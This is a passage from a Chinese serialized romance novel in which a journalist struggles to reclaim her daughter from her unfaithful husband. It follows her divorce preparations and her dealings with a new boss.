说完,她突然走到办公室中央宣布:“根据沈总指示,从今天起,全公司取消手机打卡,改用指纹机。每天四次,迟到一次这个月全勤全部扣完。”
消息一出,办公室里顿时怨声载道。
我这才知道乔丽那句‘祸害’是什么意思?
而沈宴州这个命令,也让我瞬间成了公司的罪人。
毕竟,平日里其他同事也会借着出去采访的机会办点私事儿,又或者早晨迟到也可以说是先去某某地方采访了。
大家心照不宣,只要自己的活干好,不要给别人造成麻烦,通常主编都是睁一只眼闭一只眼的。
而今天因为我撞在了枪口上,导致以后,所有人都要规规矩矩的,再也没有空子可钻了。
办公室里,同事们纷纷吐槽我一个人连累了大家。
孟云初见我被大家这么说,不满地开口道:“差不多得了!你们扪心自问,难道你们平时没有迟到早退过吗?今天算叶昭昭倒霉,要是沈总其他时候来,说不定倒霉的就是你们了!”
终于,大家的吐槽声安静了下来。
尽管如此,我这一整天工作的时候还是尽量降低自己的存在感。
好不容易熬到了下班,刚下楼,竟看到顾时序的车就停在公司大楼门口。
我顿时停住脚步,蹙眉道:“你怎么来了?”
他走过来,一边帮我开车门,一边道:“你忘了?你答应朵朵帮她选假发和发卡的?她等你一天了。”
“我自己开车了。”
我径直往车库走去,不想坐他的车。
没想到顾时序直接让他的司机开车走人,自己跟上了我。
“顾时序,别跟着我。”
我冷冷丢下一句话,自顾自地往前走。
而这时,刚好沈宴州正被一群人簇拥着走出大楼。
他并没有注意到我们这边,已经上了一辆加长版的林肯。
沈宴州的车已经驶走了,顾时序却突然拉住我的手腕,眼中透着浓浓的质疑:“他怎么在这儿?”
我边走,边道:“他把我们公司收购了。以后,他是我的老板。”
顾时序就这么跟着我,甩都甩不掉。
我上了车,他就坐进了副驾驶。
今天在公司压抑了一天,我没精力跟他因为上车不上车的事吵,索性就将车往医院开去。
可路上,副驾驶阴沉着脸的顾时序突然开口了:“明天我就给你注册家传媒公司,你想做什么都行。你从现在这家公司辞职吧!”
我心里窜起一股无名火,冷声道:“我的工作已经被你搅黄了两次,这次,我不会辞职。你要非让我辞职,那你自己去跟沈宴州说,让他开除我!”
顾时序顿了顿,声音发沉:“沈氏的版图这么大,他收购你们这个小公司,是冲着谁来的,你心里清楚。”
我冷声道:“我不知道他是冲着谁来的,我只知道他现在是我的老板,仅此而已。”
顾时序没再说话,侧脸在路灯的光影里紧绷着,像是在努力隐忍着什么。
……
医院。
我跟顾时序刚踏进病房的门,朵朵看到是我,目光肉眼可见的失望起来。
“爸爸,怎么不是妈妈?朵朵想让妈妈来。”
小丫头落寞地低下头,手里的娃娃好像也不香了。
我站在门口,心被刺了一下,没有再往里走。
顾时序走到床边,轻哄道:“妈妈去剧组了,你忘了吗?以前妈妈拍戏也是一下子要走很久的。”
朵朵微微叹了口气,道:“那我又要有好久见不到妈妈了。”
顾时序捏捏女儿肉乎乎的脸,道:“没关系,有爸爸在这儿陪你。而且,叶阿姨也会每天都来。朵朵不会孤单的,嗯?”
朵朵垂着脑袋,小声嘟囔:“可是……可是我昨天梦到妈妈不要我了……”
我站在门口,听着顾时序依旧默认苏雅欣是朵朵的妈妈,心口像被什么东西堵住。
等顾时序哄着朵朵躺下,我轻声道:“你跟我出来一下。”
我们走到走廊尽头,我才停下脚步,直直望进他漆黑的眼底:“你准备什么时候让朵朵知道,我才是她的妈妈?朵朵刚才说梦到妈妈不要她,可是,我就站在这里,却连认她的资格都没有!”
顾时序叹了口气,眼神复杂地看着我:“再等等吧。你也看到了,她现在心里还是依赖雅欣。等你再跟她多相处相处,让她慢慢依赖你,我就告诉她真相。”
就在这时,我们听见了高跟鞋的声音。
回头看去,竟然是姜淑慧来了。
我和顾时序回到病房的时候,正好听见姜淑慧在跟朵朵说话:“宝贝,想不想妈妈呀?”
朵朵撅着嘴,道:“当然想了!可是,爸爸说妈妈去工作了,要去很久。”
姜淑慧冷哼了声,道:“你听你爸胡说八道呢!你妈妈她明明……”
“妈!”
顾时序突然走了进来,沉声打断了姜淑慧。
姜淑慧一惊,回过头。
看到我的时候,她眼中闪过一抹厌恶。
顾时序冷声道:“妈,您先跟我出来。”
走廊上。
姜淑慧阴不阴、阳不阳地道:“你也怕我跟朵朵说实话啊!既然你也知道朵朵只认雅欣这一个妈,你干嘛要这么对雅欣?”
顾时序蹙眉道:“这件事,我已经跟雅欣说明白了,您不必操心。还有,朵朵认昭昭是迟早的事。”
姜淑慧突然转向我,指着我就骂:“都是你这个**!你就不能放过我们时序吗?你口口声声说要离婚,现在又死皮赖脸地缠着我们时序,你还要不要脸?”
我冷冷看着她,道:“我认女儿,并不代表我不会离婚。离婚,也不影响我要回我怀胎十月生下的孩子。”
姜淑慧脸色大变,怒道:“你想抢回朵朵?朵朵是时序和雅欣一把屎一把尿拉扯大的,你算什么东西!真是不要脸,自以为生了她,她就是你的了?我告诉你,没用!朵朵这辈子都只认雅欣一个妈,我也只认雅欣这一个儿媳!”
“妈!”
顾时序厉声道:“我现在明确地告诉你,我没有离婚的打算!我不会让我的孩子像我以前小时候一样,生活在一个不健全的家庭!你守护不了你的家,就不要来拆散我的家。”
姜淑慧愣住了,气得浑身发抖:“你……你说什么?明明是你爸当年因为薛晓琴那个**抛弃了我,我一个人把你养大,我什么都是为了你!你却为了叶昭昭这么说我,你还有没有良心!”
顾时序冷凝的脸色没有任何缓解,对母亲道:“您
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回去吧!如果您总是抱着这样的心态,那以后,也不必来看朵朵。免得教坏了她……”
姜淑慧只觉得在我面前颜面大跌,可顾时序不站在她这边,她没有丝毫办法。
最终,她只能负气离开。
临走前,还恶狠狠地瞪了我一眼。
随着高跟鞋的声音越来越远,顾时序深沉的眸光落在我身上,问:“刚才,你跟我妈说的那句话,是真心的?”
我微微一怔,问:“什么话?”
“你还是要跟我离婚?”顾时序一字一句道:“哪怕,我把朵朵还给你,你还是要这么做?”
我平心静气地开口:“我们之间的问题,不在于朵朵。顾时序,我已经不爱你了。无论有没有朵朵,这个婚,我都要离的。”
顾时序就这么凝视着我,良久,他摇了摇头道:“我不相信,你说不爱就不爱了。除非,你有了更好的人选。”
我无奈地牵起唇角,道:“爱情又不是选择题,婚姻更不是。我只是累了,做你的妻子,真的很累。”
他眼中露出一丝茫然,和以往一样,我和他永远不在一个频道上。
鸡同鸭讲。
他不理解我,我也不理解他。
就在这时,朵朵稚嫩的声音传入我们耳里:“爸爸,你们刚才吵架了吗?我听见奶奶好大声……”
小丫头站在门口,看看顾时序,又看看我。
顾时序走过去抱起女儿,道:“我们没吵架。对了,你白天选了好多饰品,不是说要跟叶阿姨分享吗?”
朵朵被这么一打岔,也忘了其他事,兴致勃勃地说:“对哦,叶阿姨,你要不要帮我看看?爸爸帮我选的款式我都不喜欢,你帮我一起选,好不好?”
“嗯。”
我努力装作若无其事的样子,走进了病房。
……
不知不觉,朵朵在医院已经住了一个月。
除了上班和更新小说的时间,其余时间我几乎都在医院里陪着她。
她喜欢烘焙,喜欢做手工,刚好,这些我都会。
慢慢地,她提起“苏雅欣”的次数越来越少。
出院前一天,我提着一个粉色袋子走进病房,故意在她面前晃了晃:“朵朵,猜猜这里是什么东西?”
朵朵正坐在床上给她的娃娃穿衣服,听见声音立刻抬起头,眼睛亮晶晶的:“是不是我们买的假发到啦!”
我笑着刮了刮她的小鼻子:“朵朵真聪明!”
说着,我从袋子里拿出一顶羊毛卷发假发,长度和卷曲度都跟她以前的头发很像。
“来,阿姨教你怎么戴。”
我小心翼翼地将假发帮朵朵戴好。
朵朵看着镜子里的新发型,兴奋地说:“哇!好漂亮呀!跟我以前的头发一模一样!”
说完,她看着顾时序,期待地问:“爸爸,你看我的新头发好看吗?”
顾时序蹲下身,爱怜地摸了摸女儿的脑袋,道:“好看。我们朵朵怎样都好看。”
……
翌日出院时,朵朵戴着那顶假发,蹦蹦跳跳地跟在顾时序身边。
顾时序抱着朵朵往停车场走,见我往另一个方向走,他停下脚步,问:“你不跟我们一起?”
我淡淡“嗯”了一声,道:“你先好好照顾朵朵,有空我们谈一下我们的事。”
当着朵朵的面,我没法把离婚说得太明白。
可顾时序听懂了。
他脸色发沉,半天没回应。
我走过去抚了抚朵朵柔软的脸颊,心中不是滋味,深深地望着她,道:“朵朵,我……先走了。如果你想我的话,就给我打电话。”
虽然,我觉得朵朵应该也不会想我的。
可就在这时,朵朵轻轻拉着我的袖子,道:“阿姨,你昨天不是说,今天要教我给娃娃缝小裙子吗?你不跟我们回家,怎么教我呀?”
我微微一顿,却没想再回那个“家”。
“朵朵,阿姨今天的工作还没做完。下次,下次你到阿姨家里来,我们一起给娃娃缝小衣服,好吗?”
这时,顾时序开口了,“你跟我们回去吧。这段时间朵朵跟你也熟了,是时候跟她谈一谈你的身份了。总不能一直这样‘阿姨阿姨’地叫。
第107章 这女儿谁爱要谁要!
的确,这件事该跟朵朵说明白了。
我也很想知道,朵朵在知道我是她妈妈之后,会不会接受这个事实?
不过,无论她是否接受,都不会改变我离婚的决定。
……
顾氏庄园。
朵朵刚换好鞋,就拉着我的手往屋里跑,小脸上满是期待:“阿姨,你现在就教我缝娃娃衣服好不好?”
“好。”
我刚要跟她一起进屋里,顾时序却走了过来。
“朵朵,等一下。爸爸今天有件很重要的事要跟你说,说完咱们再缝衣服,好不好?”
朵朵愣了愣,还是回到沙发上,乖乖坐下。
小姑娘认真地点头:“嗯,爸爸你说吧。”
我坐在一旁,手心全是汗,紧张得连呼吸都放轻了。
顾时序打开电视,调出一个儿童版的生产科普动画。
没有特别血腥的画面,只用水彩动画演示了宝宝在妈妈肚子里成长,以及妈妈生产时疼痛的过程。
我本来还担心会吓到朵朵,可她眼睛瞪得圆圆的,看得格外专注,甚至还小声问:“爸爸,宝宝要在妈妈肚子里待这么久呀?”
顾时序耐心地对女儿道:“是啊,在这期间,妈妈要承受很多身体上带来的不舒服。但妈妈为了能让你健康地生下来,她只能一个人忍受。”
朵朵听得眼睛有些红红的,目不转睛地看着电视里的孕妇妈妈生孩子时痛苦的模样。
“原来,妈妈生下我,这么不容易……”
动画结束后,小姑娘默默地说了这么一句话。
顾时序道:“是啊。所以,这个世界上最爱孩子的,就是妈妈,对不对?”
朵朵用力点头,小眉头皱了皱:“那……我以后要对妈妈好,我要乖乖的,让妈妈高兴。”
顾时序欣慰地笑了笑,道:“朵朵,其实叶阿姨……才是你的妈妈。当年,她就是这样,经历了这么久的疼痛,才把你生下来的。”
他每说一个字,我心跳就快了几分。
最后,我感觉心脏都要跳出来了,紧紧盯着朵朵的反应。
小姑娘先是愣住了,眼睛睁得大大的,不可思议地看着顾时序,又转头看了看我,小嘴巴微微张着,像是没听懂。
顾时序伸手摸了摸她的头,声音里带着歉意:“这些年是爸爸的错,让你和妈妈分开了。但妈妈一直很爱你,这些日子她天天去医院陪你,教你做曲奇、给你讲故事、给你做好吃的,你应该能感觉到,对不对?朵朵是个聪明的孩子,以后要认清楚,谁才是你真正的妈妈。”
话音刚落,朵朵突然从沙发上跳起来,小脸涨得通红,大声叫道:“爸爸你胡说!我妈妈是苏雅欣!不是她!我不相信!”
说完她转身跌跌撞撞地往房间跑,“砰”的一声关上了房门。
我心口像被堵住一样难受,连忙跟到房门口,想敲门又不敢。
顾时序也跟了上来,他望着紧闭的房门,却没有进去。
我有些后悔,闷闷地说:“不该这么早跟她说这种事的,太唐突了。”
顾时序语气平静却坚定:“不唐突。早说晚说,她都要经历这个过程。朵朵现在只是一时接受不了,等她冷静下来,会明白的。你别担心,这丫头没你想的那么脆弱。”
我点点头,只好先让朵朵单独待一会儿,希望她能想通。
而顾时序看见我往客房走,蹙眉叫住我:“昭昭,你还要在客房住多久?”
他走到我面前,拦住我,眸中充满了严肃和认真:“你是这个家的女主人,你的房间是主卧!”
我突然嗤笑了声,抬眼看着他:“顾时序,当初你让苏雅欣登堂**住在主卧的时候,怎么不说我是这个家的女主人?”
顾时序的脸色瞬间沉了沉,放在身侧的手不自觉攥紧。
沉默了良久,他语气里带着几分理亏:“我知道当初委屈了你,雅欣那边,我已经跟她说清楚了。以前我对你造成的那些伤害,只要你肯给我机会,我都能弥补。”
我抬眼望着他,一字一句地说:“可有些痛苦,早就像针一样扎在我心里了,拔不出来,也消除不掉。”
话音刚落,顾时序突然上前一步,伸手将我紧紧抱在怀里。
他语气急切,像只无头苍蝇似的问:“昭昭,那你告诉我,我究竟要怎么做,你才肯变回原来的样子?”
我用力从他怀里挣开,后退好几步,道:“我们结婚四年,除了身边几个亲近的人,谁知道我是你太太?顾时序,你敢现在就公开我们的关系吗?既然你想重新开始,至少,该给我一个该有的名分吧!”
我心里很清楚,他不会的。
果然,顾时序的眉头瞬间皱紧,问:“这些虚名,对你就这么重要?”
我嗤笑了声,道:“正因为以前我觉得这些是虚名,所以全世界都以为我丈夫和苏雅欣是天造地设的一对!我被苏雅欣的粉丝泼脏水说我是第三者的时候,你在哪里?顾时序,你告诉我,什么是‘虚名’?我做了你四年的妻子,连一个光明正大的身份都没有,这就是你说的虚名吗?”
他张了张嘴,却半天没说出话来。
半天,他似是艰涩地开口:“你要知道,我现在的一举一动都牵动着顾氏的股价。最近公司正是多事之秋,我要是公开我们的婚姻,就等于承认了我婚内出轨!到时候顾氏股价暴跌,几千名员工的生计都会受影响,我不能不替他们考虑。”
多完美的借口!
我看着他一本正经的样子,只觉得喉咙发苦。
“昭昭,你再等等,相信我,等时机成熟了,我一定会给你一场盛大的婚礼,当着所有人的面宣布,你是我的太太。”
说着,他就要拉我的手。
我立刻避开他,嘴角勾起一抹讽刺的笑:“顾时序,当初你跟我求婚的时候,也是这么说的。四年了,我依然躲在没有光的地方,像只老鼠一样做你的顾太太!”
顾时序终于无话可说。
我目光从他冷峻又无可奈何的脸上扫过,转身之际,我却笑了。
刚才,顾时序亲口承认他‘婚内出轨’,我放在口袋里的录音笔,已经录了下来。
这就是他对待我们婚姻不忠的铁证,也是我们婚姻破裂的证据!
……
直到晚上,朵朵滴水未进。
顾时序亲自端着她喜欢吃的饭菜去了她房间,可最终又原模原样地拿了下来。
我担心地问:“她还是不肯吃东西吗?”
顾时序叹了口气,将饭菜放在一边,道:“一直吵着要雅欣,怎么劝都不肯听。”
我沉默着,不知该说些什么,也不知道能为朵朵做什么?
这时,顾时序看着我,道:“如果你非要跟我离婚,那就不要走进朵朵的生命里,还不如就让她将错就错的好。”
我心一紧,不禁懊恼地问:“顾时序,你在威胁我!”
顾时序神一如既往的冷漠,他道:“如果她接受了你,却还是没办法拥有一个完整的家,那我现在所做的努力,究竟是为了什么?”
我没有被他PUA到,他想用孩子来裹胁我,那他未免想的也太美了。
我一字一顿道:“顾时序,你所做的一切,只是在为你造的孽赎罪。朵朵是我的女儿,这是从她生下来的那一刻就决定的。而不是凭你顾时序的一两句话,更不会随着我们的婚姻状态而改变!”
就在这时,朵朵楼梯口突然传来一个稚嫩的声音:“我想洗澡……”
我和顾时序皆是一惊,抬头就看见朵朵站在二楼楼梯口,就这么望着我们。
顾时序犹豫了一下,道:“朵朵是想让女佣给你洗,还是……你妈妈给你洗?”
朵朵看了我一眼,闷闷地道:“让她洗吧!”
我心中划过一抹欣慰,没想到,朵朵会让我帮她洗澡。
我还以为,或许还有很长一段时间,她要抗拒我呢。
就这样,我上楼去了朵朵的房间。
浴室里的水声哗哗响起,我调试好浴缸的水温,轻声道:“朵朵,可以洗了。”
朵朵像个木偶娃娃似的,没有任何表情,我说什么,她就做什么。
我心里难受得要命,柔声道:“朵朵,我知
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道你一时半刻还没办法接受这件事。我们慢慢来,不着急,好吗?”
朵朵没理会我,问道:“你能帮我拿一下那边的小鸭子吗?”
“好。”
我站起身,往置物架走去。
可我没想到,地上会有沐浴露。
我整个人滑倒在地上,胳膊传来尖锐的跟疼痛。
而朵朵突然拿着莲蓬头对准了我,冰凉的水瞬间泼在我脸上。
我这才发现,刚才我调试水温的时候,朵朵在那边做了些什么?
我忍着手臂的疼痛,撑着身体站起来。
朵朵就这么拿着莲蓬头喷我,稚嫩的声音又尖又利,眼里满是敌意:“都怪你,坏女人!要不是你,我妈妈就能住在这里,我们一家人就不会分开!是你勾引了我爸爸!”
水珠顺着我的头发往下滴,冰冷的触感刺得我指尖发颤。
那些隐忍了许久的委屈和酸涩突然涌上来。
我再也忍不住,上前一步从她手里夺过莲蓬头,重重扔在地上。
“你记着!”我的声音带着自己都没察觉的颤抖,却格外用力,“我才是你妈妈!苏雅欣她不是!”
朵朵突然间放声大哭:“你骗人!我妈妈是大明星,不是你!”
她尖锐的哭声引来了顾时序。
他推门进来,看到满地狼藉和我湿透的衣服,眉头立刻皱了起来。
“发生什么事了?”
顾时序赶紧抱起朵朵,质问的目光看着我。
无力和无奈一层层将我淹没。
我什么都没说,转身走出了浴室,忍着浑身的疼痛回到房间。
关上门的瞬间,眼泪终于忍不住掉了下来。
……
夜里,我辗转反侧,却怎么都睡不着。
冷静下来后,我想到朵朵那种眼神,便还是觉得浑身脊背发凉。
是的,我坚持不下去了。
翌日清早,别墅里安静极了。
我快速收拾好自己,拿着包包去上班。
这应该是我最后一次出现在这儿了。
然而,就在我出门时,恰好遇见顾时序从外面进来。
顾时序抬眸看了我一眼,主动跟我解释:“我刚才把朵朵送到我妈那儿去了,让她在那边先住几天。”
听到这话,我攥紧手指,道:“如果我没猜错,苏雅欣也在你妈那儿吧?”
顾时序没有否认,只是避开了我的目光,声音压得很低:“朵朵昨晚哭了很久,现在一时半刻离不开雅欣。你也该好好想想,学着如何做一个妈妈。”
胸口的闷痛让我几乎喘不过气,恨恨地说:“顾时序,当初是你把朵朵从我身边夺走,你让苏雅欣顶着‘妈妈’的身份陪在她身边,你剥夺了我四年做妈妈的机会!现在凭什么反过来指责我不会做妈妈?”
顾时序的脸色终于变了变,却只是皱着眉,没有再反驳。
我径直往外走去,他忽然拉住我的手腕,道:“昭昭,乖乖在我身边,我会想办法让朵朵接受你。”
我将手从他手里挣开,反问:“如果我不呢?”
顾时序漆黑的眼中透着一抹凉薄和残忍,道:“除非,你想让朵朵永远将雅欣当作妈妈。如果你想失去朵朵,那你尽管走。”
“呵!”
我被气笑了,心里那道伤口好像越撕越大,“顾时序,我已经想通了,强扭的瓜不甜。她跟你一样,无论我怎么做,都捂不热她的心。她这样恨我,我上赶着去做她妈妈,又有什么意思?随便她吧!她爱认谁当妈,就认谁吧!”
在顾时序不可置信的目光下,我决绝离开。
上午,我有一个采访任务,采访地点刚好在秦律师他们律所旁边。
距离我跟对方约定的采访时间还有一个小时,我趁这个功夫去找了秦律师。
我将昨天顾时序亲口承认“出轨”的录音复刻了一份交给她。
毕竟,要跟顾时序离婚,总得做到万无一失。
秦欢看到这些,点点头道:“这下,证据已经很充分了。财产部分,他属于过错方,你可以分得很大一部分。至于你女儿的抚养权……你还要吗?"
第108章 我把他们捉奸在床!【辣眼睛】
我望着那份亲子鉴定报告良久,抬头时眼底已没了往日的纠结,语气平静得像在说一件与己无关的事:“抚养权我不要了。”
秦欢握着文件的手顿了顿,抬眸看我,似乎有些意外。
我迎着她的目光继续说:“我现在只想尽快离婚,跟过去彻底了断。”
“好。”秦欢收起我提供的资料,道,“这次证据充分,不会再出意外。不过……上次你撤诉了,必须六个月之后才能重新上诉。所以我还是建议你,先跟你丈夫谈谈,争取让他自己签字。”
我点点头,道:“没关系,他签不签字,都不影响我离婚的决定。”
更何况,我已经搬出来了,不要他的钱,也不要孩子的抚养权。
一张离婚证,又能代表什么呢?
从律所出来,我走在人行道上,突然间无比的轻松和释怀。
原来对朵朵的放手,不是妥协,而是放过了我自己。
……
回到公司,我刚坐下,旁边的孟云初就挪着椅子凑到我旁边。
她压低声音,满脸疑惑:“昭昭,你看到没?沈总又来咱们公司了!”
我顺着她的目光看向总裁办公室的方向,问:“那又怎么了?”
孟云初分析道:“咱们这小公司刚被收购,一年赚的钱还不够沈氏总部一天的零头。他这三天两头来我们这儿,不是纯纯浪费时间吗?”
我心里莫名有些乱,但又觉得不太可能。
随即,我拿起水杯喝了口水,若无其事道:“不知道。老板的心思,咱们哪儿能猜出来?”
孟云初点点头,又皱起眉:“对了,这周咱们要办个小聚餐。咱主编不是要离职了吗?给她办个欢送会。本来我不想邀沈总的,可他总来,直接忽略又不礼貌,你说这事儿……”
我没敢接话。
沈宴州的心思比顾时序还难捉摸,我可不想随便给建议惹麻烦。
孟云初纠结了一整天,快下班时突然站起身,咬着牙说:“算了,我还是去说一声!就算他不来,至少咱们尽到礼貌了,总不能让人说咱们不懂事。”
说着,她已经站起来往总裁室那边走去。
可没过几分钟,她就骂骂咧咧地回来了,一屁股坐在椅子上:“气死我了!沈总身边那乔秘书,比沈总还傲慢!我连办公室门都没进,就被她拦下来了。一听我是邀沈总参加聚餐,她还阴阳怪气说我有私心,真是自己心思脏,看谁都脏!”
我递过一杯水,劝了她半天,她也没有将这口气消下去。
晚上下班,我们一起等电梯。
由于我们公司没有总裁专用梯,就连沈宴州都得跟员工挤同一部。
只不过往日员工们看到沈宴州,会自觉避开跟他同乘一部电梯。
我们刚站定,沈宴州和乔丽就走了过来。
乔丽上前不动声色地把我和孟云初挤到旁边,留出位置让沈宴州先上。
我和孟云初对视一眼,正准备走楼梯,这时电梯门开了。
沈宴州看着我们,淡声道:“进来吧。”
孟云初受宠若惊道了谢,我跟她一起走进电梯。
乔丽轻蔑地瞥了我们一眼,那眼神又让我想起了以前她在顾时序身边做秘书的时候,仗势欺人,没少为难我。
我心里的火气突然冒了上来,偏偏不想让她得意。
于是,我深吸一口气,转向沈宴州:“沈总,我们部门这周要给主编办欢送宴,如果您有空,欢迎来参加。”
沈宴州深邃的眸子里闪过一抹意外,似乎是惊讶于我的主动。
乔丽的眼睛瞬间瞪圆了,看我的眼神里满是震惊和不屑,仿佛在说“你也配邀请沈总”。
没等沈宴州开口,她就抢先道:“叶昭昭,沈总日理万机,怎么可能参加你们这种档次的活动?”
我冲她笑了笑,语气没带丝毫火气,却精准地戳中要害:“乔秘书,我在邀请沈总。您这是在替沈总做决定吗?”
乔丽的脸瞬间涨红,求助似的看向沈宴州,等着老板替她撑腰。
可沈宴州脸上没有丝毫责怪,开口道:“有空我会过去的。”
话音刚落,电梯门就开了。
他径直走了出去,乔丽回头狠狠瞪了我一眼,也快步跟了上去。
孟云初惊讶的眼神看着我,完全不敢相信。
“干嘛这么看着我?”
我被她盯得浑身不自在。
孟云初眼里满是崇拜:“以前我怎么没发现你这么敢说?你看刚才乔丽那表情,跟吃了屎一样。”
我被她夸得有点不好意思。
孟云初继续道:“真是奇怪了,我以为沈总会很不屑。没想到,他竟然有回应哎!平时看着他挺高冷的,我都不敢跟他说话。”
我心里滋生着莫名异样的情绪,却又告诉自己别胡思乱想,硬生生地将那种奇怪的想法压了下去。
晚上回去,我照例更新小说。
苏雅欣微博上发布了开机照,她的粉丝各种转发,买的营销号也开始推各种关于《婚心》的消息,网络上热闹极了。
这时,我们的剧组群里也开始了各种讨论:
【女主角安染:动静闹得可真大!每次她一有动静,我必然挨骂。她家粉丝,真吓人!】
【制片人秦薇:对面向来喜欢干雷声大雨点小的事。说到底,还是得用实力说话!】
【导演何先齐:可惜我邀请的几个老戏骨下周才能凑齐。等他们一到,我们就举办开机仪式。我保证,阵容绝对比对面强大!】
毕竟,苏雅欣自从出了之前的事,被官方点名批评,又被许多品牌联合**,娱乐圈里但凡了解点内幕的人,现在都对她敬而远之。
这次顾时序虽然投资两个亿给她玩儿,可他们砸了巨资,请来的也只是些新面孔而已。
谁都怕沾上苏雅欣,被官方一起**。
这时,秦薇发了个呵呵的表情,配文:【我说句难听的。就苏雅欣现在这风评,搞不好这部剧拍出来之后,广电那边都审不过去!】
大家在群里热火朝天地讨论着。
安染这时艾特了我:【多亏我们最美女记者在地震中冲锋陷阵,又压了苏雅欣一头,让她偷鸡不成反蚀把米。否则,说不定还真让她扭转了风评,钻了个空子!】
我回了个汗颜的表情。
虽然群里的人知道我就是叶昭昭,但我还是不希望他们宣扬得人尽皆知,也幸好大家嘴都很严。
毕竟,只有这样,我才能正常工作。
我可不想成为时刻暴露在摄像头下的公众人物。
其实我在群里很少说话,但有时候看着他们聊天,我能看到深夜,直到他们聊天结束。
翌日,我被一阵手机铃声吵醒。
屏幕上‘朵朵’两个字让我蹙起眉头。
可妈妈对自己的孩子永远都有着天生的母性,我还是接了。
“你……你能送我去幼儿园吗?”
电话那头的声音带着点怯生生的犹豫,现在就连‘阿姨’也不喊了。
可她明明这么讨厌我,为什么要让我送她?
我没有立刻答应她,而是问:“你在哪儿?”
“我在奶奶家。奶奶早上说不舒服,不肯起……”
朵朵的声音低了下去,道:“要是你不来,那我自己去幼儿园吧。”
想起她上次偷偷跑出去出了车祸,我的心揪了一下,道:“你在家等着,我马上过去。”
我赶到姜淑慧那里时,并没有看见朵朵。
而姜淑慧穿着睡衣坐在客厅,抬眼瞥了我一下,指了指二楼:“朵朵在卧室里换衣服。这孩子,磨磨蹭蹭的,到现在也没换好衣服。我是没力气管她了,你要不自己去看看!”
我还赶着上班,便上了楼,想赶紧帮朵朵换好衣服,尽快送她去幼儿园。
女佣领着我去了二楼。
“朵朵小姐就在里面。”
女佣说完便离开了。
我推开门,下一秒,震惊得瞪大眼睛。
顾时序和苏雅欣赤身裸体地躺在床上,被子只堪堪盖住了腰腹。
此时的苏雅欣已经醒了,她正贪恋的用手指描绘着顾时序的脸,余光挑衅的望着我。
在一瞬间的震惊和慌乱后,我努力维持镇定,直接拿出了手机,摄像头对准了床上。
苏雅欣完全没想到,我不仅没哭没闹,竟然还冷静地拍他们的床照。
她顿时明白了我想干什么,吓了一跳,慌忙冲上前夺我的手机。
“来人啊!快来人啊!”
苏雅欣大声朝外面喊着。
姜淑慧立刻带着几个佣人跑了过来。
苏雅欣见状,立刻道:“妈,她拍了我和时序的照片,她会曝
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光我们的!”
姜淑慧大惊失色,对身后的佣人道:“你们还不赶紧把她的手机给我夺回来!”
几个佣人跟苏雅欣一起朝我扑过来。
最终,我的手机还是被苏雅欣夺走。
她嘴角勾起一抹讽刺的弧度,低低地说:“果然以前是娱乐记者,狗仔嘛,就喜欢偷拍!我让你拍,让你拍!”
她一边说,一边删掉了我拍到的所有照片,删得干干净净。
我们动静闹得太大,顾时序终于醒了。
我胸口剧烈起伏着,望着躺在蹙眉揉着太阳穴的男人,指尖发抖。
就在这时,顾时序仿佛意识到了什么。
他猛地坐起来,不可置信地看着我的方向,瞳孔骤缩,彻底愣住了。
而苏雅欣突然哭出声来,貌似委屈地说:“叶小姐,你要怪就怪我吧!不关时序哥的事。都是我不好,我……”
我讽刺的看了眼顾时序,转身往楼下走去。
而姜淑慧跟上我,冷嘲声也从我身后传来:“叶昭昭,这下,你总该死心了吧?就算你不肯离婚,也不妨碍时序和雅欣好。”
我停下脚步,回头看着她,只觉得恶心至极。
我冷笑了声,看着她刻薄的脸,道:“你利用我女儿把我骗过来,就是为了让我看到这肮脏至极的东西,还真是难为你了。可是这场婚姻里,死皮赖脸不愿意离婚,缠着不放的人,是你儿子,不是我!”
“你!”
姜淑慧气得脸色涨红,指着我的鼻子骂道,“既想当**,又想立牌坊!谁给你的资本在我面前狂!”
我不想再浪费精力与她争辩,径直往外走去,进了车里。
刚发动引擎,就看见顾时序追了出来。
而我的车已经缓缓驶离。
他跑到我车边,拼命拍打着我的车窗,不知在说些什么?
我看着车窗上他焦急的脸,只觉得讽刺。
下一秒,我踩下油门,车子径直冲了出去,将他彻底甩在了身后。
路上,我握着方向盘的手一直在发抖。
尽管我早已对顾时序不再抱有任何希望,可我亲眼撞破他和苏雅欣的龌龊事而产生的生理不适,还是让我恶心到想吐。
……
半小时后,我终于赶到了单位车库。
刚下车,顾时序的车突然就停在了我面前。
他不知何时跟上我的。
此时的顾时序完全失去了往日里矜贵形象,穿着发皱的衬衫,头发凌乱,眼底满是红血丝。
他上来就攥住我的手腕:“昭昭,你听我解释,不是你看到的这样。我……”
我抽回手,指尖冰凉,目光落在他纽扣都扣错位置的衬衫上,声音平静得近乎冷漠:“你洗干净了么?”
顾时序的话瞬间卡在喉咙里,脸色从急切转为难堪的青白。
他嘴唇动了动,竟一个字也说不出来。
我笑了下,道:“顾总,干完那事儿,连洗都不洗就出门,不嫌脏吗?”
说完我转身就要往电梯口走,手腕却再次被他死死攥住,“昭昭,你必须听我解释!”
我正想发火,余光瞥见一辆宾利缓缓驶入车库。
停好车后,沈宴州推开车门走下来,黑色西装衬得他身形挺拔,与顾时序如今这副衣冠不整的狼狈模样,形成了鲜明的对比。
我心跳莫名漏了一拍。
沈宴州深邃的眸光落在顾时序握着我的手腕上时,瞬间冷了下来。
他没看顾时序,只盯着我,语气很淡却带着不容置疑的压迫感:“你又迟到了。”
我心里一紧,连忙用力想挣开顾时序的手,可他攥得更紧。
我硬着头皮迎上沈宴州的目光,声音放低:“抱歉沈总,这是最后一次。”
顾时序却突然开口,挑衅似的看向沈宴州,“叶昭昭从现在起,辞职了!你不必在她面前摆老板的谱。她喜欢当新闻记者,我明天就能给她开家传媒公司,她想开几家就开几家!”
沈宴州闻言,嘴角勾起一抹极淡的弧度,只是那笑意没达眼底。
他抬眼看向顾时序,语气带着几分嘲讽:“顾总,你也不是第一天知道你太太喜欢做新闻记者了吧?怎么你们结婚四年,我到现在连你给她开的传媒公司影子都没看见?莫不是,顾总的资金都用来给苏小姐的新剧投资了?”
第109章 我在他怀里暴哭
沈宴州这话像一记耳光,顾时序的脸瞬间变得铁青。
我站在两人中间,只觉得脸颊发烫,丢人得想找个地缝钻进去。
幸好现在上班早高峰刚过,车库里没什么人,不然这副场面,指不定要被传成什么样。
我用力一挣,终于甩开了顾时序的手,快步走到沈宴州身边,抬头看着他,语气坚定:“沈总,我没准备辞职。以后,我会注意公司纪律,不会迟到了。”
沈宴州的目光在我泛红的手腕上顿了顿,又扫了眼脸色铁青的顾时序,没再多说什么。
